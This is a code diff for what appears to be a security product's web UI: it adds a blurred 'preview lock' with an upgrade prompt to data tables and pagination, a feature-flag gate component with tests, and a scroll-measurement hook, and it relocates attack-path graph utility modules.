@@ -5,6 +5,7 @@ import {
ChevronLast,
ChevronLeft,
ChevronRight,
+ Lock,
} from "lucide-react";
import Link from "next/link";
import { usePathname, useRouter, useSearchParams } from "next/navigation";
@@ -20,11 +21,22 @@ import { getPaginationInfo } from "@/lib";
import { cn } from "@/lib/utils";
import { MetaDataProps } from "@/types";
+/**
+ * Preview lock: the table only shows `visibleRowCount` rows, so every control
+ * reports pages by that count and hands the click to `onLockedInteraction`
+ * (an upgrade prompt) instead of paging.
+ */
+export interface DataTablePaginationLock {
+ visibleRowCount: number;
+ onLockedInteraction: () => void;
+}
+
interface DataTablePaginationProps {
metadata?: MetaDataProps;
disableScroll?: boolean;
/** Prefix for URL params to avoid conflicts (e.g., "findings" -> "findingsPage") */
paramPrefix?: string;
+ lock?: DataTablePaginationLock;
/*
* Controlled mode: Use these props to manage pagination via React state
@@ -44,10 +56,21 @@ const NAV_BUTTON_STYLES = {
disabled: "text-text-neutral-tertiary cursor-not-allowed pointer-events-none",
} as const;
+const PAGE_SIZE_TRIGGER_CLASS_NAME =
+ "bg-bg-neutral-tertiary border-border-neutral-tertiary !h-auto !w-auto !min-w-0 !gap-1 !rounded-full !px-[19px] !py-[9px] !text-xs !font-medium backdrop-blur-[46px]";
+
+const LOCKED_NAV_CONTROLS = [
+ { label: "Go to first page", Icon: ChevronFirst },
+ { label: "Go to previous page", Icon: ChevronLeft },
+ { label: "Go to next page", Icon: ChevronRight },
+ { label: "Go to last page", Icon: ChevronLast },
+] as const;
+
export function DataTablePagination({
metadata,
disableScroll = false,
paramPrefix = "",
+ lock,
controlledPage,
controlledPageSize,
onPageChange,
@@ -73,10 +96,15 @@ export function DataTablePagination({
const {
currentPage: metaCurrentPage,
- totalPages,
+ totalPages: metaTotalPages,
totalEntries,
itemsPerPageOptions,
} = getPaginationInfo(metadata);
+ // A locked table shows fewer rows than it fetched: count pages by what the
+ // user actually sees so "Page 1 of N" stays honest.
+ const totalPages = lock
+ ? Math.ceil(totalEntries / lock.visibleRowCount)
+ : metaTotalPages;
// Gated separately: a large page size collapses the table to one page, and the
// selector is the only way back to a smaller one.
@@ -90,11 +118,13 @@ export function DataTablePagination({
if (!showPageSizeSelector && !showPageNavigation) return null;
// For controlled mode, use controlled values; for prefixed, read from URL; otherwise use metadata
- const currentPage = isControlled
- ? controlledPage
- : paramPrefix
- ? parseInt(searchParams.get(pageParam) || "1", 10)
- : metaCurrentPage;
+ const currentPage = lock
+ ? 1
+ : isControlled
+ ? controlledPage
+ : paramPrefix
+ ? parseInt(searchParams.get(pageParam) || "1", 10)
+ : metaCurrentPage;
const createPageUrl = (pageNumber: number | string) => {
const params = new URLSearchParams(searchParams);
@@ -138,7 +168,25 @@ export function DataTablePagination({
return (
{/* Rows per page selector */}
- {showPageSizeSelector && (
+ {showPageSizeSelector && lock && (
+
+
+ Rows per page
+
+
+ {lock.visibleRowCount}
+
+
+
+ )}
+ {showPageSizeSelector && !lock && (
Rows per page
@@ -178,7 +226,7 @@ export function DataTablePagination({
>
@@ -203,7 +251,23 @@ export function DataTablePagination({
Page {currentPage} of {totalPages}
- {isControlled ? (
+ {lock ? (
+ // Every arrow looks enabled on purpose: the click is the upsell.
+ LOCKED_NAV_CONTROLS.map(({ label, Icon }) => (
+
+
+
+ ))
+ ) : isControlled ? (
<>
{
expect(actionsCell).toHaveClass("before:to-bg-neutral-secondary");
});
});
+
+ describe("when a preview lock limits the visible rows", () => {
+ it("blurs the rows past the limit, keeps their content inert, and floats the overlay over them", () => {
+ // Given
+ const renderAfterRow = vi.fn(() => null);
+ render(
+ Unlock every finding
,
+ onLockedInteraction: vi.fn(),
+ }}
+ />,
+ );
+
+ // When
+ const visibleRow = screen.getByText("Finding B").closest("tr");
+ const lockedRow = screen.getByText("Finding C").closest("tr");
+
+ // Then
+ expect(visibleRow?.querySelector("[inert]")).toBeNull();
+ expect(lockedRow?.querySelector("td > div")).toHaveAttribute("inert");
+ expect(lockedRow).toHaveAttribute("aria-hidden", "true");
+ expect(lockedRow).toHaveClass("select-none");
+ expect(screen.getByText("Unlock every finding")).toBeInTheDocument();
+ expect(renderAfterRow).toHaveBeenCalledWith(
+ expect.objectContaining({ index: 1 }),
+ );
+ expect(renderAfterRow).not.toHaveBeenCalledWith(
+ expect.objectContaining({ index: 2 }),
+ );
+ });
+
+ it("renders no overlay when every row fits in the preview", () => {
+ // Given / When
+ render(
+
Unlock every finding ,
+ onLockedInteraction: vi.fn(),
+ }}
+ />,
+ );
+
+ // Then
+ expect(
+ screen.queryByText("Unlock every finding"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByText("Finding A").closest("tr")).not.toHaveAttribute(
+ "inert",
+ );
+ });
+ });
});
diff --git a/ui/components/shadcn/table/data-table.tsx b/ui/components/shadcn/table/data-table.tsx
index 3d36dc7869..e4dcc0dc48 100644
--- a/ui/components/shadcn/table/data-table.tsx
+++ b/ui/components/shadcn/table/data-table.tsx
@@ -28,9 +28,13 @@ import {
TableRow,
} from "@/components/shadcn/table";
import { DataTableAnimatedRow } from "@/components/shadcn/table/data-table-animated-row";
-import { DataTablePagination } from "@/components/shadcn/table/data-table-pagination";
+import {
+ DataTablePagination,
+ type DataTablePaginationLock,
+} from "@/components/shadcn/table/data-table-pagination";
import { DataTableSearch } from "@/components/shadcn/table/data-table-search";
import { useFilterTransitionOptional } from "@/contexts";
+import { useScrollportPin } from "@/hooks/use-scrollport-pin";
import { cn } from "@/lib/utils";
import { FilterOption, MetaDataProps } from "@/types";
@@ -49,6 +53,20 @@ const TABLE_COLUMN_GAP_CLASS = "pr-6";
const STICKY_ACTION_COLUMN_CLASS = "sticky right-0 z-20 min-w-12";
const STICKY_ACTION_CELL_CLASS = `${STICKY_ACTION_COLUMN_CLASS} last:rounded-r-none! overflow-visible bg-bg-neutral-secondary before:pointer-events-none before:absolute before:inset-y-0 before:-left-8 before:w-8 before:bg-gradient-to-r before:from-transparent before:to-bg-neutral-secondary before:content-[''] group-hover:bg-bg-neutral-tertiary group-hover:before:to-bg-neutral-tertiary group-data-[state=selected]:bg-bg-neutral-tertiary group-data-[state=selected]:before:to-bg-neutral-tertiary`;
+// Locked cells stay in the DOM as a teaser but cannot be read or focused.
+// The row receives clicks to open the upgrade prompt instead of cell actions.
+// The blur goes on the cells: browsers do not reliably filter table rows.
+const LOCKED_ROW_CLASS_NAME =
+ "cursor-pointer select-none opacity-70 hover:bg-transparent [&>td]:blur-[6px]";
+
+/**
+ * Preview lock: rows past `visibleRowCount` render blurred with inert content,
+ * `overlay` floats over them, and row/pagination clicks call `onLockedInteraction`.
+ */
+export interface DataTablePreviewLock extends DataTablePaginationLock {
+ overlay: ReactNode;
+}
+
const getTableColumnClassName = (
columnId: string,
variant: "header" | "cell",
@@ -136,6 +154,7 @@ interface DataTableProviderProps
{
header?: ReactNode;
/** Optional content rendered in the toolbar before the total entries count. */
toolbarRightContent?: ReactNode;
+ previewLock?: DataTablePreviewLock;
}
export function DataTable({
@@ -169,6 +188,7 @@ export function DataTable({
getRowAttributes,
header,
toolbarRightContent,
+ previewLock,
}: DataTableProviderProps) {
const [sorting, setSorting] = useState([]);
const [columnFilters, setColumnFilters] = useState([]);
@@ -212,6 +232,17 @@ export function DataTable({
// Track whether initial expansion has been applied
const hasInitiallyExpanded = useRef(false);
+ // The preview overlay pins itself to the visible scrollport: centered on the
+ // full table width it would scroll away (and clip) on wide tables. Measured
+ // on mount only, which is when a locked table arrives from the server.
+ const scrollContainerRef = useRef(null);
+ const previewOverlayRef = useRef(null);
+ const lastRowRef = useRef(null);
+ const [previewPaddingBottom, setPreviewPaddingBottom] = useState(0);
+ const scrollportPin = useScrollportPin(() =>
+ previewLock ? scrollContainerRef.current : null,
+ );
+
// Expand all rows on mount when defaultExpanded={true}
useEffect(() => {
if (
@@ -244,8 +275,54 @@ export function DataTable({
const showToolbar = showSearch || metadata || toolbarRightContent;
const rows = table.getRowModel().rows;
+ // Position in the rendered order, not row.index: the lock hides what the
+ // user would see next, whatever the data order is.
+ const isLockedPosition = (position: number) =>
+ previewLock !== undefined && position >= previewLock.visibleRowCount;
+ const overlayPosition =
+ previewLock !== undefined && rows.length > previewLock.visibleRowCount
+ ? previewLock.visibleRowCount - 1
+ : null;
+
+ // A short result set may not have enough blurred rows to contain the card.
+ // Reserve its overflow inside the table so the scrollport cannot clip the CTA.
+ useEffect(() => {
+ const overlay = previewOverlayRef.current;
+ const lastRow = lastRowRef.current;
+ const scrollContainer = scrollContainerRef.current;
+ if (overlayPosition === null || !overlay || !lastRow || !scrollContainer) {
+ return;
+ }
+
+ const measure = () => {
+ setPreviewPaddingBottom(
+ Math.max(
+ 0,
+ Math.ceil(
+ overlay.getBoundingClientRect().bottom -
+ lastRow.getBoundingClientRect().bottom,
+ ),
+ ),
+ );
+ };
+ measure();
+ if (typeof ResizeObserver === "undefined") return;
+ const observer = new ResizeObserver(measure);
+ observer.observe(overlay);
+ observer.observe(scrollContainer);
+ return () => observer.disconnect();
+ }, [overlayPosition, rows.length]);
+
+ const handleRowClick = (
+ row: Row,
+ target: HTMLElement | null,
+ position: number,
+ ) => {
+ if (isLockedPosition(position)) {
+ previewLock?.onLockedInteraction();
+ return;
+ }
- const handleRowClick = (row: Row, target: HTMLElement | null) => {
if (!onRowClick) {
return;
}
@@ -259,6 +336,7 @@ export function DataTable({
return (
({
)}
-
+
{table.getHeaderGroups().map((headerGroup) => (
@@ -334,7 +419,7 @@ export function DataTable({
{rows?.length ? (
- rows.map((row) =>
+ rows.map((row, position) =>
getSubRows && row.depth > 0 ? (
({
) : (
- handleRowClick(row, event.target as HTMLElement)
+ handleRowClick(
+ row,
+ event.target as HTMLElement,
+ position,
+ )
}
>
{row.getVisibleCells().map((cell) => (
@@ -360,14 +460,54 @@ export function DataTable({
"cell",
)}
>
- {flexRender(
- cell.column.columnDef.cell,
- cell.getContext(),
+ {isLockedPosition(position) ? (
+
+ {flexRender(
+ cell.column.columnDef.cell,
+ cell.getContext(),
+ )}
+
+ ) : (
+ flexRender(
+ cell.column.columnDef.cell,
+ cell.getContext(),
+ )
)}
))}
- {renderAfterRow?.(row)}
+ {!isLockedPosition(position) && renderAfterRow?.(row)}
+ {position === overlayPosition && previewLock && (
+ // Zero-height row: the overlay floats over the locked
+ // rows below without pushing them down.
+
+
+ {/* Sticky wrapper sized to the scrollport; without a
+ measurement it spans the row. z-30 clears the
+ sticky actions cells (z-20) of the locked rows. */}
+ 0
+ ? { width: scrollportPin.width }
+ : undefined
+ }
+ >
+
+ {previewLock.overlay}
+
+
+
+
+ )}
),
)
@@ -393,6 +533,7 @@ export function DataTable({
controlledPageSize={controlledPageSize}
onPageChange={onPageChange}
onPageSizeChange={onPageSizeChange}
+ lock={previewLock}
/>
)}
diff --git a/ui/components/shared/feature-flag-gate.test.tsx b/ui/components/shared/feature-flag-gate.test.tsx
new file mode 100644
index 0000000000..a4eeb7d1f6
--- /dev/null
+++ b/ui/components/shared/feature-flag-gate.test.tsx
@@ -0,0 +1,87 @@
+import { render, screen } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const { useFeatureFlagStateMock } = vi.hoisted(() => ({
+ useFeatureFlagStateMock: vi.fn(),
+}));
+
+vi.mock("@/lib/feature-flags", async (importOriginal) => ({
+ ...(await importOriginal()),
+ useFeatureFlagState: useFeatureFlagStateMock,
+}));
+
+import { FEATURE_FLAG, FEATURE_FLAG_STATE } from "@/lib/feature-flags";
+
+import { FeatureFlagGate } from "./feature-flag-gate";
+
+const renderGate = () =>
+ render(
+ off state}
+ pending={pending state
}
+ >
+ on state
+ ,
+ );
+
+describe("FeatureFlagGate", () => {
+ beforeEach(() => {
+ useFeatureFlagStateMock.mockReset();
+ });
+
+ it("should ask for the given flag", () => {
+ useFeatureFlagStateMock.mockReturnValue(FEATURE_FLAG_STATE.OFF);
+
+ renderGate();
+
+ expect(useFeatureFlagStateMock).toHaveBeenCalledWith("issues-feature");
+ });
+
+ it("should render the children when the flag is on", () => {
+ useFeatureFlagStateMock.mockReturnValue(FEATURE_FLAG_STATE.ON);
+
+ renderGate();
+
+ expect(screen.getByText("on state")).toBeInTheDocument();
+ expect(screen.queryByText("off state")).not.toBeInTheDocument();
+ expect(screen.queryByText("pending state")).not.toBeInTheDocument();
+ });
+
+ it("should render the fallback when the flag is off", () => {
+ useFeatureFlagStateMock.mockReturnValue(FEATURE_FLAG_STATE.OFF);
+
+ renderGate();
+
+ expect(screen.getByText("off state")).toBeInTheDocument();
+ expect(screen.queryByText("on state")).not.toBeInTheDocument();
+ });
+
+ it("should render the pending slot while the flag is unresolved", () => {
+ useFeatureFlagStateMock.mockReturnValue(FEATURE_FLAG_STATE.PENDING);
+
+ renderGate();
+
+ expect(screen.getByText("pending state")).toBeInTheDocument();
+ expect(screen.queryByText("on state")).not.toBeInTheDocument();
+ expect(screen.queryByText("off state")).not.toBeInTheDocument();
+ });
+
+ it.each([
+ ["off", FEATURE_FLAG_STATE.OFF],
+ ["pending", FEATURE_FLAG_STATE.PENDING],
+ ])(
+ "should render nothing by default when the flag is %s",
+ (_label, state) => {
+ useFeatureFlagStateMock.mockReturnValue(state);
+
+ const { container } = render(
+
+ on state
+ ,
+ );
+
+ expect(container).toBeEmptyDOMElement();
+ },
+ );
+});
diff --git a/ui/components/shared/feature-flag-gate.tsx b/ui/components/shared/feature-flag-gate.tsx
new file mode 100644
index 0000000000..3c3a24f01a
--- /dev/null
+++ b/ui/components/shared/feature-flag-gate.tsx
@@ -0,0 +1,35 @@
+"use client";
+
+import type { ReactNode } from "react";
+
+import {
+ FEATURE_FLAG_STATE,
+ type FeatureFlag,
+ useFeatureFlagState,
+} from "@/lib/feature-flags";
+
+interface FeatureFlagGateProps {
+ flag: FeatureFlag;
+ children: ReactNode;
+ // Rendered once the flag resolves to off. Defaults to nothing.
+ fallback?: ReactNode;
+ // Rendered while the flag is unresolved. Defaults to nothing so an enabled
+ // user never sees the off-state fallback flash before PostHog answers, and
+ // a build that never initializes PostHog shows neither branch.
+ pending?: ReactNode;
+}
+
+// Client gate over a boolean feature flag. Server-rendered children are still
+// produced on the server (RSC payload); the gate only decides what the
+// browser shows, so keep it for presentation, not for authorization.
+export function FeatureFlagGate({
+ flag,
+ children,
+ fallback = null,
+ pending = null,
+}: FeatureFlagGateProps) {
+ const state = useFeatureFlagState(flag);
+ if (state === FEATURE_FLAG_STATE.ON) return <>{children}>;
+ if (state === FEATURE_FLAG_STATE.PENDING) return <>{pending}>;
+ return <>{fallback}>;
+}
diff --git a/ui/components/resources/table/use-finding-details.ts b/ui/hooks/use-finding-details.ts
similarity index 100%
rename from ui/components/resources/table/use-finding-details.ts
rename to ui/hooks/use-finding-details.ts
diff --git a/ui/hooks/use-scrollport-pin.ts b/ui/hooks/use-scrollport-pin.ts
new file mode 100644
index 0000000000..905c13ea03
--- /dev/null
+++ b/ui/hooks/use-scrollport-pin.ts
@@ -0,0 +1,50 @@
+"use client";
+
+import { useState } from "react";
+
+import { useMountEffect } from "./use-mount-effect";
+
+export interface ScrollportPin {
+ /** Visible content width of the scrollport (padding excluded). */
+ width: number;
+ /** Left padding of the scrollport, for a sticky child that keeps the inset. */
+ left: number;
+}
+
+/**
+ * Measures a horizontally scrolling container once on mount and on resize, so
+ * a sticky child can span exactly the visible area instead of the full
+ * scroll width. Resolves to null until measured (or without ResizeObserver).
+ */
+export function useScrollportPin(
+ resolveScrollport: () => Element | null | undefined,
+): ScrollportPin | null {
+ const [pin, setPin] = useState(null);
+
+ useMountEffect(() => {
+ const scrollport = resolveScrollport();
+ if (
+ !(scrollport instanceof HTMLElement) ||
+ typeof ResizeObserver === "undefined"
+ ) {
+ return;
+ }
+ const measure = () => {
+ const styles = getComputedStyle(scrollport);
+ const paddingLeft = parseFloat(styles.paddingLeft);
+ setPin({
+ width:
+ scrollport.clientWidth -
+ paddingLeft -
+ parseFloat(styles.paddingRight),
+ left: paddingLeft,
+ });
+ };
+ measure();
+ const observer = new ResizeObserver(measure);
+ observer.observe(scrollport);
+ return () => observer.disconnect();
+ });
+
+ return pin;
+}
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/edge-orientation.ts b/ui/lib/attack-paths/edge-orientation.ts
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/edge-orientation.ts
rename to ui/lib/attack-paths/edge-orientation.ts
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/export.test.ts b/ui/lib/attack-paths/export.test.ts
similarity index 98%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/export.test.ts
rename to ui/lib/attack-paths/export.test.ts
index 0e1e3ff2f3..90bbf0a758 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/export.test.ts
+++ b/ui/lib/attack-paths/export.test.ts
@@ -1,10 +1,9 @@
import type { Rect } from "@xyflow/react";
import { beforeEach, describe, expect, it, vi } from "vitest";
+import { exportGraphAsJSON, exportGraphAsPNG } from "@/lib/attack-paths/export";
import type { AttackPathGraphData } from "@/types/attack-paths";
-import { exportGraphAsJSON, exportGraphAsPNG } from "./export";
-
const bounds: Rect = { x: 0, y: 0, width: 100, height: 100 };
const graphData: AttackPathGraphData = {
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/export.ts b/ui/lib/attack-paths/export.ts
similarity index 97%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/export.ts
rename to ui/lib/attack-paths/export.ts
index 14ac418e35..79cee3a45f 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/export.ts
+++ b/ui/lib/attack-paths/export.ts
@@ -7,9 +7,7 @@
import type { Rect } from "@xyflow/react";
-import type { AttackPathGraphData, GraphEdge } from "@/types/attack-paths";
-
-import { truncateLabel } from "./format";
+import { truncateLabel } from "@/lib/attack-paths/format";
import {
getNodeBorderColor,
getNodeColor,
@@ -18,23 +16,24 @@ import {
GRAPH_EDGE_COLOR_DARK,
GRAPH_OUTCOME_BORDER_COLOR,
GRAPH_OUTCOME_FILL_COLOR,
-} from "./graph-colors";
+} from "@/lib/attack-paths/graph-colors";
import {
GROUP_NODE_LABEL,
GROUP_PROPS,
OUTCOME_NODE_LABEL,
OUTCOME_PROPS,
-} from "./group-graph";
-import { layoutWithDagre } from "./layout";
+} from "@/lib/attack-paths/group-graph";
+import { layoutWithDagre } from "@/lib/attack-paths/layout";
import {
FINDING_NODE_DIMENSIONS,
GROUP_NODE_DIMENSIONS,
OUTCOME_NODE_DIMENSIONS,
RESOURCE_NODE_DIMENSIONS,
-} from "./node-dimensions";
-import { getNodeLabelDisplay } from "./node-label-lines";
-import { isProwlerFindingNode } from "./node-types";
-import { resolveNodeVisual } from "./node-visuals";
+} from "@/lib/attack-paths/node-dimensions";
+import { getNodeLabelDisplay } from "@/lib/attack-paths/node-label-lines";
+import { isProwlerFindingNode } from "@/lib/attack-paths/node-types";
+import { resolveNodeVisual } from "@/lib/attack-paths/node-visuals";
+import type { AttackPathGraphData, GraphEdge } from "@/types/attack-paths";
interface ExportGraphOptions {
expandedResources?: ReadonlySet;
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/format.ts b/ui/lib/attack-paths/format.ts
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/format.ts
rename to ui/lib/attack-paths/format.ts
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-colors.test.ts b/ui/lib/attack-paths/graph-colors.test.ts
similarity index 94%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-colors.test.ts
rename to ui/lib/attack-paths/graph-colors.test.ts
index f508ff4d39..6f8747280f 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-colors.test.ts
+++ b/ui/lib/attack-paths/graph-colors.test.ts
@@ -7,12 +7,12 @@ import {
GRAPH_OUTCOME_BORDER_COLOR,
GRAPH_OUTCOME_FILL_COLOR,
resolveNodeColors,
-} from "./graph-colors";
+} from "@/lib/attack-paths/graph-colors";
import {
GROUP_NODE_LABEL,
GROUP_PROPS,
OUTCOME_NODE_LABEL,
-} from "./group-graph";
+} from "@/lib/attack-paths/group-graph";
describe("resolveNodeColors", () => {
it("prioritizes selected state over hasFindings for the border color", () => {
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-colors.ts b/ui/lib/attack-paths/graph-colors.ts
similarity index 98%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-colors.ts
rename to ui/lib/attack-paths/graph-colors.ts
index 071b857558..c1706ce28c 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-colors.ts
+++ b/ui/lib/attack-paths/graph-colors.ts
@@ -2,8 +2,8 @@ import {
GROUP_NODE_LABEL,
GROUP_PROPS,
OUTCOME_NODE_LABEL,
-} from "./group-graph";
-import { isProwlerFindingNode } from "./node-types";
+} from "@/lib/attack-paths/group-graph";
+import { isProwlerFindingNode } from "@/lib/attack-paths/node-types";
/**
* Color constants for attack path graph visualization
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-utils.ts b/ui/lib/attack-paths/graph-utils.ts
similarity index 98%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-utils.ts
rename to ui/lib/attack-paths/graph-utils.ts
index c730f7a699..0c2d5df27b 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/graph-utils.ts
+++ b/ui/lib/attack-paths/graph-utils.ts
@@ -2,10 +2,9 @@
* Utility functions for attack path graph operations
*/
+import { isProwlerFindingNode } from "@/lib/attack-paths/node-types";
import type { AttackPathGraphData } from "@/types/attack-paths";
-import { isProwlerFindingNode } from "./node-types";
-
export const resolveHiddenFindingIds = ({
expandedResources,
findingNodeIds,
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/group-graph.test.ts b/ui/lib/attack-paths/group-graph.test.ts
similarity index 99%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/group-graph.test.ts
rename to ui/lib/attack-paths/group-graph.test.ts
index fac8e68724..f613f58a4a 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/group-graph.test.ts
+++ b/ui/lib/attack-paths/group-graph.test.ts
@@ -1,11 +1,5 @@
import { describe, expect, it } from "vitest";
-import type {
- AttackPathGraphData,
- AttackPathOutcome,
- GraphNode,
-} from "@/types/attack-paths";
-
import {
buildAttackPathView,
GROUP_NODE_LABEL,
@@ -13,7 +7,12 @@ import {
groupKey,
OUTCOME_NODE_LABEL,
OUTCOME_PROPS,
-} from "./group-graph";
+} from "@/lib/attack-paths/group-graph";
+import type {
+ AttackPathGraphData,
+ AttackPathOutcome,
+ GraphNode,
+} from "@/types/attack-paths";
const node = (id: string, label: string): GraphNode => ({
id,
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/group-graph.ts b/ui/lib/attack-paths/group-graph.ts
similarity index 98%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/group-graph.ts
rename to ui/lib/attack-paths/group-graph.ts
index 6c252dfdd5..9c7fef5b5a 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/group-graph.ts
+++ b/ui/lib/attack-paths/group-graph.ts
@@ -20,6 +20,12 @@
* over stable raw data, never a data mutation.
*/
+import { orientEdgeForLayout } from "@/lib/attack-paths/edge-orientation";
+import { isProwlerFindingNode } from "@/lib/attack-paths/node-types";
+import {
+ NODE_CATEGORY,
+ resolveNodeVisual,
+} from "@/lib/attack-paths/node-visuals";
import type {
AttackPathGraphData,
AttackPathOutcome,
@@ -28,10 +34,6 @@ import type {
GraphRelationship,
} from "@/types/attack-paths";
-import { orientEdgeForLayout } from "./edge-orientation";
-import { isProwlerFindingNode } from "./node-types";
-import { NODE_CATEGORY, resolveNodeVisual } from "./node-visuals";
-
// Synthetic labels so layout/getNodeType and the node registry can identify the
// injected nodes. Real graph labels never collide with these.
export const GROUP_NODE_LABEL = "__AttackPathGroup";
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/index.ts b/ui/lib/attack-paths/index.ts
similarity index 52%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/index.ts
rename to ui/lib/attack-paths/index.ts
index 86da6e7e37..a3d204b1b9 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/index.ts
+++ b/ui/lib/attack-paths/index.ts
@@ -1,5 +1,9 @@
-export { exportGraphAsJSON, exportGraphAsPNG } from "./export";
-export { formatNodeLabel, formatNodeLabels, truncateLabel } from "./format";
+export { exportGraphAsJSON, exportGraphAsPNG } from "@/lib/attack-paths/export";
+export {
+ formatNodeLabel,
+ formatNodeLabels,
+ truncateLabel,
+} from "@/lib/attack-paths/format";
export {
getNodeBorderColor,
getNodeColor,
@@ -14,17 +18,20 @@ export {
GRAPH_OUTCOME_FILL_COLOR,
GRAPH_SELECTION_COLOR,
resolveNodeColors,
-} from "./graph-colors";
+} from "@/lib/attack-paths/graph-colors";
export {
computeFilteredSubgraph,
getPathEdges,
resolveHiddenFindingIds,
-} from "./graph-utils";
-export { layoutWithDagre } from "./layout";
-export { isProwlerFindingLabel, isProwlerFindingNode } from "./node-types";
+} from "@/lib/attack-paths/graph-utils";
+export { layoutWithDagre } from "@/lib/attack-paths/layout";
+export {
+ isProwlerFindingLabel,
+ isProwlerFindingNode,
+} from "@/lib/attack-paths/node-types";
export {
NODE_CATEGORY,
type NodeCategory,
type NodeVisual,
resolveNodeVisual,
-} from "./node-visuals";
+} from "@/lib/attack-paths/node-visuals";
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/layout.test.ts b/ui/lib/attack-paths/layout.test.ts
similarity index 99%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/layout.test.ts
rename to ui/lib/attack-paths/layout.test.ts
index 87a117771c..391861967f 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/layout.test.ts
+++ b/ui/lib/attack-paths/layout.test.ts
@@ -1,10 +1,9 @@
import { Position } from "@xyflow/react";
import { describe, expect, it } from "vitest";
+import { layoutWithDagre } from "@/lib/attack-paths/layout";
import type { GraphEdge, GraphNode } from "@/types/attack-paths";
-import { layoutWithDagre } from "./layout";
-
const findingNode: GraphNode = {
id: "finding-1",
labels: ["ProwlerFinding"],
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/layout.ts b/ui/lib/attack-paths/layout.ts
similarity index 94%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/layout.ts
rename to ui/lib/attack-paths/layout.ts
index ab3596bff2..8204ba5b7f 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/layout.ts
+++ b/ui/lib/attack-paths/layout.ts
@@ -6,18 +6,20 @@
import { Graph, layout as dagreLayout } from "@dagrejs/dagre";
import { type Edge, type Node, Position } from "@xyflow/react";
-import type { GraphEdge, GraphNode } from "@/types/attack-paths";
-
-import { orientEdgeForLayout } from "./edge-orientation";
-import { GROUP_NODE_LABEL, OUTCOME_NODE_LABEL } from "./group-graph";
+import { orientEdgeForLayout } from "@/lib/attack-paths/edge-orientation";
+import {
+ GROUP_NODE_LABEL,
+ OUTCOME_NODE_LABEL,
+} from "@/lib/attack-paths/group-graph";
import {
FINDING_NODE_DIMENSIONS,
GROUP_NODE_DIMENSIONS,
INTERNET_NODE_DIMENSIONS,
OUTCOME_NODE_DIMENSIONS,
RESOURCE_NODE_DIMENSIONS,
-} from "./node-dimensions";
-import { isProwlerFindingNode } from "./node-types";
+} from "@/lib/attack-paths/node-dimensions";
+import { isProwlerFindingNode } from "@/lib/attack-paths/node-types";
+import type { GraphEdge, GraphNode } from "@/types/attack-paths";
interface NodeData extends Record {
graphNode: GraphNode;
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-dimensions.ts b/ui/lib/attack-paths/node-dimensions.ts
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-dimensions.ts
rename to ui/lib/attack-paths/node-dimensions.ts
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-label-lines.test.ts b/ui/lib/attack-paths/node-label-lines.test.ts
similarity index 92%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-label-lines.test.ts
rename to ui/lib/attack-paths/node-label-lines.test.ts
index 89c8060d57..d9887e7a1c 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-label-lines.test.ts
+++ b/ui/lib/attack-paths/node-label-lines.test.ts
@@ -1,6 +1,6 @@
import { describe, expect, it } from "vitest";
-import { getNodeLabelDisplay } from "./node-label-lines";
+import { getNodeLabelDisplay } from "@/lib/attack-paths/node-label-lines";
describe("getNodeLabelDisplay", () => {
it("adds an ellipsis within the max width when wrapped label text exceeds the visible line budget", () => {
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-label-lines.ts b/ui/lib/attack-paths/node-label-lines.ts
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-label-lines.ts
rename to ui/lib/attack-paths/node-label-lines.ts
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-types.ts b/ui/lib/attack-paths/node-types.ts
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-types.ts
rename to ui/lib/attack-paths/node-types.ts
